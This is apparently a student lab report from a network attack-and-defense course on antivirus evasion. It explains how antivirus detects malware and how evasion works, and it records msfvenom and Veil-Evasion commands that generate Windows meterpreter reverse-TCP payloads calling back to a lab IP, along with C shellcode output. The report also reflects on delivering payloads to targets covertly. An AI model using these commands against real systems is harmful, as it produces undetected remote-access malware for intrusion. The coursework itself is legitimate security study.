20169214 2016-2017-2 《网络攻防实践》实验——免杀技术
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测:杀软通过对已存在的流行代码特征的提取与比对检测到具有该特征码的程序就当作检测到了恶意代码。
- 基于行为的检测:杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等
(2)免杀是做什么?
就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。
(3)免杀的基本方法有哪些?
- 1:改变特征码,为恶意代码加上一层保护壳,比如利用重新进行编码的方式改变其源代码,或者改变它的编译方式,从而使杀毒软件检测不到恶意代码的特征码已达到免杀的目的
- 2:改变恶意代码的行为,在使用反弹式链接可以避免防火墙或者杀毒软件检测到恶意代码,即想办法绕过这些有防火墙或者杀毒软件保护的路径。在恶意代码对系统进行操作的时候,尽量使自己看起来像一个正常的程序一样,避免一些有可能被杀毒软件检测到并判定为恶意代码的可疑行为。
- 3:非常规方法,例如纯手工编写一个恶意代码,杀毒软件的恶意代码库中一般是大规模流行于市面的恶意代码,对个人编写的恶意代码没有用处。
2.实践总结与体会
实验步骤并不复杂,但是期间总会出现一些小问题,例如所需要的一些软件Kali虚拟机中并没有安装,需要自行下载安装,这期间所耗费了大量的时间,所以在攻击进行前应该做好充分的准备,这至关重要。
3.离实战还缺些什么技术或步骤?
试验中需要将攻击机生成的可执行文件传送到目标机,实战中不可能任由攻击者复制粘贴,所以还需要以恰当的方式将目标文件秘密的穿送过去而不被发现。
4.实践过程记录
实验中使用的攻击机:kali IP :172.16.6.206
(一)msfvenom直接生成meterpreter可执行文件并检测:
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.6.206 PORT=9214 -f exe > ms9214.exe
- 生成文件,并复制到Windows系统
- 使用
http://www.virscan.org/
检测
(二)用veil-evasion生成可执行文件
-
直接输入
veil-evasion
打开软件,并在menu里面输入以下命令来生成可执行文件:
-
在menu>>中输入
use python/meterpreter/rev_tcp set LHOST 172.16.6.206 generate 9214 test 1
-
同样,使用
http://www.virscan.org/
检测
(三)C语言调用Shellcode
- 输入命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.6.206 LPORT=302 -f c
- 编写程序生成.exe文件,并扫描
5.遇到的问题与解决过程
-
问题一:打开Veil-Evasion,出现找不到命令
发现kali上没有装,于是安装如下:
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
但下载完成后,依然显示找不到命令。无法到达安装部分。
于是又换了一种安装方法,直接从网页上安装,如下:
sudo apt-get update
sudo apt-get install veil-evasion
安装成功。 -
问题二:Linux文件无法传送至Windows,复制失败后尝试命令行,如下:
也不行。共享文件夹也失败,最后是通过物理机为中介,通过第三方实现的。